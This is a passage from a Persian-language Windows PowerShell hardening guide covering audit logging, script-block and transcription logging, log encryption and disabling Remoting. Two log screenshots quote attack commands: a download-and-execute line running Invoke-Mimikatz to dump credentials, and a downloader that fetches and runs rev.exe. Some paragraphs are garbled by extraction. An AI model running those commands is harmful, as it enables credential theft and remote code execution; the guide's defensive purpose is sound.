پس از اعمال تنظیمات فوق، می توان فعالیت های مخرب صورت گرفته در راستای دور زدن سیاست های اجرایی از طریق تغییر در کلیدهای رجیستری را در لاگ ها مشاهده کرد. این لاگ ها با شناسه های ۴۶۵۶، ۴۶۵۷، ۴۶۵۰ و ۴۶۶۳ قابل مشاهده هستند. تغییرات در موارد حیاتی دارای شناسه های ۴۶۵۷ و ۴۶۶۰ هستند. با استفاده از دستور زیر در پاورشل می توان این لاگ ها را مشاهده کرد. نمونه ای از لاگ های جمع آوری شده با این روش در شکل ۲۴ نمایش داده شده است.

```
Get-EventLog -LogName Security -Source "*auditing*"
InstanceId 4657,4660
```

PS C:\Windows\syste	em32> Get-EventLog -	LogName S	ecurity	-Source	""auditing"	-InstanceId	4657,4660	f1
Index	: 52024							
EntryType	: SuccessAudit							
InstanceId	: 4660							
Message	: An object was dele	eted.						
	Subject:							
	Security ID:		S-1-5-1	8				
	Account Name:		WIN10-1	809-EN\$				
	Account Domain		WINDOWS	PRO				
	Logon ID:		0x3e7					
	Object:							
	Object Server: Security							
	Handle ID:	0x171c						
	Process Informatio	on:						
	Process ID:	0x2d0						
	Process Name: Transaction ID	C:\Wind : {000000	ows\Syst 00-0000-	em32\sv	chost.exe 30-0000000000	00}		
Category	: (12801)							
CategoryNumber	: 12801							
ReplacementStrings	: {S-1-5-18, WIN10-:	1809-EN\$,	WINDOWS	PRO, Øx	3e7}			
Source	: Microsoft-Windows	-Security	-Auditin	g				
TimeGenerated	: 12/15/2019 1:54:0	7 PM						
TimeWritten	: 12/15/2019 1:54:0	7 PM						
UserName								
Index	: 52021							
EntryType	: SuccessAudit							
InstanceId	: 4657							
Message	: A registry value	was modif	ied.					

شکل ۲۴ . مشاهدهی لاگهای تغییر در رجیستری

۳-۱ جمع آوری لاگ ها

پاورشل ابزاری است که در بسیاری از حملات مهاجمان مورد سوء استفاده قرار می گیرد. به منظور تشخیص سوء استفادهها از پاورشل در حملات مختلف، مایکروسافت قابلیت ذخیره لاگها را برای نسخههای ۴ و ۵ از ۳۰۰۰ فراهم کرده است که با استفاده از آن میتوان تمام دستورات و اسکریپتهای اجرا شده را جمع آوری کرد. این قابلیت به صورت پیش فرض در ویندوز ۱۰ قابل استفاده است اما کاربران ویندوز ۲ می بایست طبق دستور العمل ذکر شده در بخش به روزرسانی پاورشل، نسخه پاورشل خود را ارتقاء دهند.

به سه شیوه مختلف میتوان لاگهای پاورشل را ذخیره کرد:

- Module Logging: در این روش پاورشل جزئیاتی راجع به مقداردهی اولیه متغیرها و فراخوانی فرمانها در طول اجرا را لاگ برداری می کند. همچنین در این روش اطلاعاتی از اسکریپتهای از حالت مبهم خارج شده⁷و همچنین برخی از دادههای خروجی ضبط می شوند. لاگ هایی که با این روش ذخیره می شوند با شناسه ۴۱۰۳ در event viewer ویندوز ذخیره و قابل مشاهده هستند.
- Script Block Logging در این روش تمامی بلوکهای کد پاورشلی در حال اجرا ذخیره میشوند. به عبارت دیگر محتوای کامل کد شامل کل اسکریپت و همه کامندها ضبط میشوند. همچنین در این روش همه کدهای دیگر محتوای کامل کد شامل کل اسکریپت و همه کامندها ضبط میشوند. همچنین در این روش همه کدهای شده باشد، اسکرپیت واقعی کدگشایی شده در نومان اجرا ضبط میشود. برخلاف روش Module logging کدگذاری شده باشد، اسکرپیت واقعی کدگشایی شده در زمان اجرا ضبط میشود. برخلاف روش Module logging در فرد باین روش میشود. برخلاف روش Module logging در فرد مورتی که کدی با استفاده از الگوریتم Module logging در فرد باین روش ورش Module logging در فرد میشود. در صورتی که اندازه رخداد از بیشینه اندازه پیام در این روش خروجی اسکریپت اجرا شده ضبط نمیشود. در صورتی که اندازه رخداد از بیشینه اندازه پیام در رخدادهایی که با لیستی از کامندهای مشکوک مطابقت داشته باشند، در سطح warning لاگبرداری و لاگهای نرمال در سطح main یاین روش ذخیره و قابل مشاهده هستند. در صورت انتخاب گزینه میشوند با شناسه ۲۰۱۴ در Start view در این لاگها با شناسههای ۲۰۱۴ در Start and Stop Events ویندوز ذخیره و قابل مشاهده هستند. در صورت انتخاب گزینه میشوند با شناسه کا ۲۰ در این روش در شکاهای کا و ۲۶ نمایش ده استانه میشود. در صورت انتخاب گزینه میشوند با شناسه دادهای ذخیره میشوند با شناسههای ۲۰۱۴ در Start می ورس در میشوند. با شناسههای ۲۰۱۴ در میشوند. با شناسههای ۲۰۱۴ و ۲۰۱۶ در میشوند. در میشوند با شناسههای ۲۰۱۶ در میشوند با شناسههای ۲۰۱۶ و ۲۰۱۶ در میشوند.

De-obfuscated^{*}

ent 4104, PowerSh	ell (Microsoft-Windows-Powers	Shell)		
General Details				
Creating Scriptb	lock text (1 of 1):			1
IEX (New-Object DumpCreds	Net.WebClient).DownloadStrin	g('http://bit.ly/1	N83FXO'); Invoke-Mimikatz -	
ScriptBlock ID: e Path: Log Name:	4a40651-7ea4-4e0a-b109-5c85b! Microsoft-Windows-PowerSi	9089a03 hell/Operational		
Source:	PowerShell (Microsoft-Wind	Logged:	8/12/2020 2:43:24 PM	
Event ID:	4104	Task Category:	Execute a Remote Command	
Level:	Verbose	Keywords:	None	
User:	·1\Vi	Computer:	-1	
OpCode:	On create calls			
More Information	Event Log Online Help			

شکل ۲۵. مشاهده اطلاعات حمله در لاگهای Script Block Logging

SA0-Senv:USERPR System.NeT.Web(Senv:USERPROFIL ScriptBlock ID; 320	CPFLE_Sb= get-random(10000. LieNt).Downloadfile("https://s Evrev.exe[out-null;Start-Proces 53ba81-1bf6-4490-852d-76c584	999999);(New-Oi ayitrade.com/cu s \$A0\rev.exe;Rer sea5ad7	b/ect b.bin", "SAO\Sb.cab");expand SAO\Sb.cab nove-Item SAO\Sb.cab	
				4
	Marca de Marca de Constante de Carter de Carte	hell/Operational		
Log Name:	Microsoft-Windows-Powerst			
Log Name: Source:	PowerShell (Microsoft-Wind	Logged:	3/3/2017 7:00:53 AM	
Log Name: Source: Event ID:	PowerShell (Microsoft-Wind 4104	Logged: Task Category:	3/3/2017 7:00:53 AM Starting Command	
Log Name: Source: Event ID: Level:	PowerShell (Microsoft-Wind 4104 Verbose	Logged: Task Category: Keywords:	3/3/2017 7:00:53 AM Starting Command None	
Log Name: Source: Event ID: Level: User: OpCode:	PowerShell (Microsoft-Wind 4104 Verbose	Logged: Task Category: Keywords: Computer:	3/3/2017 7:00:53 AM Starting Command None	

شکل Script Block Logging .۲۶

• Full Transcription Logging: در این روش نسخه کاملی از هر نشست مجزای پاورشل همراه با دادههای ورودی و خروجی آن لاگ برداری شده و هر نسخه در فایل های مجزایی ذخیره می شود. لازم به ذکر است که در این روش فقط آنچه که در ترمینال ویندوزی پاورشل ظاهر می شود در فایل ها ذخیره می شوند. نمونه ای از اطلاعات ذخیره شده به این روش در شکل ۲۷ نمایش داده شده است.

E Powe	rShell_transcript.DESKTOP-FK34BR6.L8Z+fzcj.20221023122919.txt 🗵	1			
244	>> ParameterBinding(Out-String): name	="InputObject"; v ^			
245	Cannot invoke method. Method invocati	on is supported o			
246	At C:\Program Files\WindowsPowerShell	\Modules\PSReadli			
247	+ [Microsoft.PowerShell.PSConsole	ReadLine]::ReadLi			
248	+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	~~~~~~			
249	+ CategoryInfo : Invalid	Operation: (:) []			
250	+ FullyQualifiedErrorId : MethodI	nvocationNotSuppo			
251	Cannot invoke method. Method invocati	on is supported o			
252	At C:\Program Files\WindowsPowerShell				
253	 [Microsoft.PowerShell.PSConsole 				
254	+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~			
255	+ CategoryInfo : Invalid	tegoryInfo : InvalidOperation: (:) []			
256	+ FullyQualifiedErrorId : MethodI	nvocationNotSuppo			
257	*****	🔁 Windows PowerShell	—		×
258	Command start time: 20221023123150	PS C:\> get-date			~
259	*****	2022/10/23 12:31:50 P	м		
260	PS C:\> get-date		Î.		
261		PS C:>>			
262	2022/10/23 12:31:50 PM				
263					
264					
265					
266	Windows PowerShell transcript start				
267	Start time: 20221023123150	×			

شكل ۲۷. Full Transcription Logging

لاگهای ذخیره شده به این روشها از طریق Event Viewer ویندوز در مسیر < Application and Services Logs ویندوز در مسیر Spolication and Services Logs ویندوز در مسیر می شوند. برای فعال سازی مکانیزم جمع آوری لاگها نیاز است که طبق دستورالعمل زیر اقدام شود:

دستورالعمل:

- ۱. در خط فرمان یا پاورشل دستور «gpedit.msc» وارد شود تا Group Policy Editor باز شود.
- Computer Configuration > Administrative Templates > Windows Components > ۲. به مسیر < ۲ Windows Power Shell مراجعه شود.
- ۲۰. بر روی روشهای مورد نظر خود برای لاگبرداری در پنجره سمت راست دوبار کلیک و گزینهی Enabled ۲۲ می است دوبار کلیک و گزینهی Transcript Output انتخاب شود. در روش PowerShell Transcription می بایست از طریق پارامتر Directory می است در کرد. قابل توجه است که این فایل اطلاعات حساس اجرا شده در Directory را شامل می شود؛ بنابراین باید از دسترسی کاربران به آن جلوگیری کرد. بدین منظور نیاز است

که روی فایل مورد نظر کلیک راست کرده و گزینهی Properties انتخاب شود. سپس در زیر مجموعهی

 Iocal Group Policy Editor Eile Action View Help Image: Action View Help Image: Action View Help 		120	
 Windows Mobility Center Windows PowerShell Windows Reliability Analysis Windows Remote Management (Wir Windows Remote Shell Windows Security Windows Update Work Folder 	Setting Turn on Module Logging Turn on PowerShell Script Block Logging Turn on Script Execution Turn on PowerShell Transcription Set the default source path for Update-Help Extended Standard	State Enabled Enabled Not configured Enabled Not configured	Comment No No No No No
5 setting(s)			

Security > Advanced Security > Permissions دسترسی به فایل را فقط به ادمین محدود کرد.

شکل ۲۸. فعالسازی جمع آوری لاگ در پاورشل

۱−۳−۱ رمزنگاری لاگها و فایلها

لاگهای ذخیره شده توسط پاورشل ممکن است حاوی اطلاعات حساسی باشند. به این ترتیب برای محافظت از لاگها ویژگی Protected Event Logging در ویندوز ۱۰ و ویندوز سرور ۲۰۱۶ برای رمز کردن دادههای حساس موجود در Event logها معرفی شده است. برای فعالسازی رمزنگاری لاگها طبق دستورالعمل زیر عمل میشود:

دستورالعمل:

- ۱. در خط فرمان یا پاورشل، دستور «gpedit.msc» وارد شود تا Group Policy Editor باز شود.
- ۳. در پنجرهی سمت راست روی گزینهی Enable Protect Event logging دوبار کلیک کرده و سپس در پنجرهی نمایش داده شده گزینهی Enabled انتخاب شود.
- ۴. در قسمت پایین پنجره در مربع نمایش داده شده، محتوای کدگذاری شده Certificate معتبر یا اطلاعاتی مانند Subject یا Thumbprin گواهی وارد شود. نمونه ای از این اطلاعات در شکل ۲۹ نمایش داده شده است.



شکل ۲۹. رمزنگاری لاگها

با پیادهسازی تنظیمات فوق، تمامی لاگهای ایجاد شده بهصورت رمز شده ذخیره میشوند. نمونهای از لاگهای ذخیره شده به صورت رمز در شکل ۳۰ نمایش داده شده است.

🛃 Event Viewer						
<u>File Action View H</u> elp						
🧇 🄿 📩 📰 📓 🗊						
> 🖾 OfflineFiles 🔨	Operationa	Number of events: 508				
> 🧾 OneBackup	Level	Date and Time	Source	Event ID	Task Category	^
> OneX	(Day at any	10/22/2010 C 50-12 PM	Devere Chall (MC	4104	Fusik cutegory	
> OOBE-Machine-DUI	verbose	10/22/2019 6:58:12 PM	Powersnell (Mi	4104	Execute a Rem	-
> OtpCredentialProvider	Verbose	10/22/2019 6:58:12 PM	PowerShell (Mi	4104	Execute a Rem	
> PackageStateRoaming	U Verbose	10/22/2019 6:58:01 PM	PowerShell (Mi	4104	Execute a Rem	
> ParentalControls	U Verbose	10/22/2019 6:58:01 PM	PowerShell (Mi	4104	Execute a Rem	
> Partition	U Verbose	10/22/2019 6:57:58 PM	PowerShell (Mi	4104	Execute a Rem	
> PerceptionRuntime	🕕 Verbose	10/22/2019 6:57:58 PM	PowerShell (Mi	4104	Execute a Rem	
> PerceptionSensorDataService	🕕 Verbose	10/22/2019 6:55:07 PM	PowerShell (Mi	4104	Execute a Rem	
> PersistentMemory-Nvdimm	🕕 Verbose	10/22/2019 6:55:07 PM	PowerShell (Mi	4104	Execute a Rem	~
> PersistentMemory-PmemDisk						
> PersistentMemory-ScmBus	Event 4104,	PowerShell (Microsoft-Windows-PowerShell))			×
> Policy-based QoS	General	Details				
V 🔛 PowerShell	General	Details				_
Admin	Custin	Contraction of the sect (1 of 1):				
Operational	Creating	g Scriptblock text (1 of 1): GIN CMS				
> 🧮 PowerShell-DesiredStateConfigura	MIIB4A	VIKoZihycNAOcDollB0TCCAc0CAOAxaaGIMI	IIBhAIBADBsMFUxFTATB	nolkialk/IsZAEZ		
> 🧮 PrimaryNetworkIcon	FgVsb2	NhbDEaMBgGCgmSJomT8ixkARkWCndpbml	Rvd3Nwcm8xlDAeBgNVB	AMTF3dpbmRvd3N	wcm8t	
> 🛄 PrintBRM	VIMyM	DEyLURDLUNBAhMuAAAAkvIIYxc4UiKUAAA	AAACSMA0GCSqGSlb3D	QEBBzAABIIBAIz6G	u4x	
> 🧮 PrintService	HI/Y7c9	CqmmCCCTdxJwlfBiHlazTn0hmPL+JpT1JRK	dTdlqqPe0RO7FwveYc+y	9unEFVZ5H/NXr5		
> PriResources-Deployment	IN/ezM	zFQiC9xjqto69LHuFgBytxRTW2c6aWS5EMXg v//ewZc0DLVICive/2KicG4EadNuED1XiuIMLW2	13XES/Ibpj3epy1WSYGkB	tH12kNdJiq9y8		
> 🧮 Program-Compatibility-Assistant	cS8LE0	FvuvWIVR1sfavkdbpn3XAFDH8sB/+VbG3XNI	DDFgVlzcV89Vd24ian0vsv	Rol5z+Lid4ia		
> 🧮 Provisioning-Diagnostics-Provide	CAiYFb	cbyH+MhPRWOZ5RUgElyT2VynlwPAYJKoZlh	vcNAQcBMB0GCWCGSA	FIAwQBKgQQj0Fu	7gv8	
> 🧮 Proximity-Common	dodZDS	0j19Cdq4AQpzxiNdBAWqjjrhfMHy6VtA==			37-	
> 🧮 PushNotifications-Platform	EN	D CMS				
> 🛄 Rdms-Ul	Carino		760			
> 🧮 ReadyBoost	Dath	ock ID: 88886201-8604-42dd-84b1-668844201	/18			
ReadyBoostDriver	Fath:					

شکل ۳۰. ذخیره لاگها به صورت رمزگذاری شده

برای رمزگشایی لاگها از دستور "Unprotect-CmsMessage" در پاورشل استفاده می شود. برای مثال در صورت نیاز به رمزگشایی آخرین لاگ PowerShell، میتوان با استفاده از دستور زیر ابتدا با Get-WinEvent آن را فراخوانی کرده و سپس با دستور "Unprotect-CmsMessage" رمزگشایی کرد. شکل ۳۱ نحوهی انجام این کار را نمایش می

دهد.



شکل ۳۱. نحوهی رمزگشایی لاگها

۲-۳-۲ رمزنگاری فایلهای حاوی رویداد پاورشل

برای رمزنگاری فایلها، بهخصوص فایل لاگهایی که به روش Transcription ذخیره میشوند از دستور "Protect-CmsMessage" استفاده میشود. برای رمزنگاری فایلها به یک Certificate معتبر نیاز است. به این منظور لازم است با استفاده از دستورهای زیر در پاورشل یک گواهی معتبر برای رمزنگاری تولید شود. پس از اجرای این دستورها یک گواهی با نام TestCert.cer ساخته میشود.



حال با استفاده از گواهی تولید شده و اجرای دستور زیر میتوان فایلهای مورد نظر خود در سیستم را رمز کرد.

Protect-CmsMessage -To "CRYPT_CERT" -Path 'path_of_file' -OutFile encrypt2.cms

خروجی دستورهای فوق در شکل ۳۲ نمایش داده شده است.



شکل ۳۲. رمز کردن فایل لاگ

برای رمزگشایی فایل رمز شده از دستور زیر استفاده می شود:

Unprotect-CmsMessage -Path .\encrypted.cms

Powershell Remoting استفاده امن از قابلیت ۱-۴

Powershell Remoting قابلیتی از پاورشل است که به کاربران امکان اتصال از طریق شبکه به صورت راه دور به پاورشل را فراهم می کند. اگرچه این قابلیت برای اهداف ادمین سیستم فراهم شده است اما ممکن است توسط مهاجمان در حملات مورد سوء استفاده قرار بگیرد.

در برخی از نسخههای ویندوز مانند ویندوز سرور ۲۰۱۲ این قابلیت به صورت پیش فرض فعال است. برای فعال کردن این قابلیت از دستور Enable-PSRemoting در پاورشل استفاده می شود. توصیه امنیتی بر این است که powershell Remoting فقط در صورت لزوم فعال شود و در غیر این صورت غیرفعال باشد.

۱-۴-۱ غیرفعال کردن Powershell Remoting

دستورالعمل:

- ۱. دستور Disable-PSRemoting در پاورشل اجرا شود.
- ۲. با اجرای دستورهای زیر در پاورشل، سرویس ویندوزی winRM که مسئول فراهم کردن دسترسی به پاورشل از راه دور از طریق شبکه است متوقف و غیرفعال شود.

Stop-Service WinRM -PassThru	
SetService WinRM -StartupType Disabled	-PassThru

در صورتی که سرویس winRM غیرفعال نشد، میبایست دستورهای زیر در پاورشل اجرا شوند:

dir wsman:\localhost\listener	
Remove-Item -Path WSMan:\localhost\listener\ <listener></listener>	

۳. اجرای دستورهای زیر در پاورشل:

Set-NetFirewallRule -DisplayName 'Windows Remote Management (HTTP-In)' -Enabled False -PassThru | Select -Property DisplayName, Profile, Enabled

۴. اطمینان از صفر بودن مقدار کلید رجیستری زیر:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ System\LocalAccountTokenFilterPolicy

Powershell Remoting محدود کردن

در صورتی که Just Enough Administration (JEA یک مکانیزم امنیتی پاورشل است، به دلایل امنیتی میبایست محدود شود. (Just Enough Administration (JEA یک مکانیزم امنیتی پاورشل است که اصل حداقل امتیاز را پیادهسازی کرده است. این مکانیزم نشستهای پاورشلی را با مجموعه محدودی از کاراییهای پاورشل برای ادمینهای سیستم ایجاد می کند. JEA از JEA از Powershell Remoting به نحوی استفاده می کند که کاربران میتوانند به یک نشست پاورشل با قابلیتهای محدود ارتباط برقرار کنند. این نشست IAE endpoint نامیده می شود. کاربران برای اتصال به این نشست از دستور پاورشلی Enter-PSSession استفاده می کنند.

پاورشل یک ابزار قوی در سیستمعامل ویندوز است که قابلیتهای فراوانی در اختیار کاربران ویندوز قرار میدهد؛ از سوی دیگر در حملات بسیاری مورد سوءاستفاده مهاجمان قرار میگیرد. از اینرو امنسازی پاورشل از درجه اهمیت بسیار بالایی برای جلوگیری از نفوذ مهاجمان برخوردار است. در این گزارش به بررسی مهمترین روشهای امنسازی پاورشل در سیستم عامل ویندوز پرداخته شده است.

پایان بندی

در نهایت به کاربران توصیه می شود پس از اجرای تمامی موارد فوق، چک لیست زیر تکمیل شود.

چک لیست امنسازی پاورشل

- 🗆 پاورشل نسخه ۲ بر روی سیستم غیرفعال است.
- 🗆 سیاست اجرایی مناسبی در پاورشل انتخاب و تنظیم شده است.
- 🗆 با تنظیم Language Mode، نوع دستورهای قابل اجرا در پاورشل محدود شده است.
 - 🗆 از AppLocker برای تنظیم اسکریتهای قابل اجرا در سیستم استفاده شده است.
 - 🗌 روش مناسبی برای ذخیره لاگهای پاورشل انتخاب شده است.
 - 🗆 از روشهای امنی برای رمز کردن لاگهای پاورشل استفاده شده است.
 - 🗆 استفاده از powershell Remoting غیرفعال یا محدود شده است.



- <u>https://www.reliaquest.com/blog/powershell-security-best-practices/</u>
- <u>https://www.calcomsoftware.com/defend-against-powershell-attacks/</u>
- https://www.calcomsoftware.com/basic-steps-for-powershell-attacks-prevention/
- https://www.scriptrunner.com/en/blog/powershell-security-best-practices
- •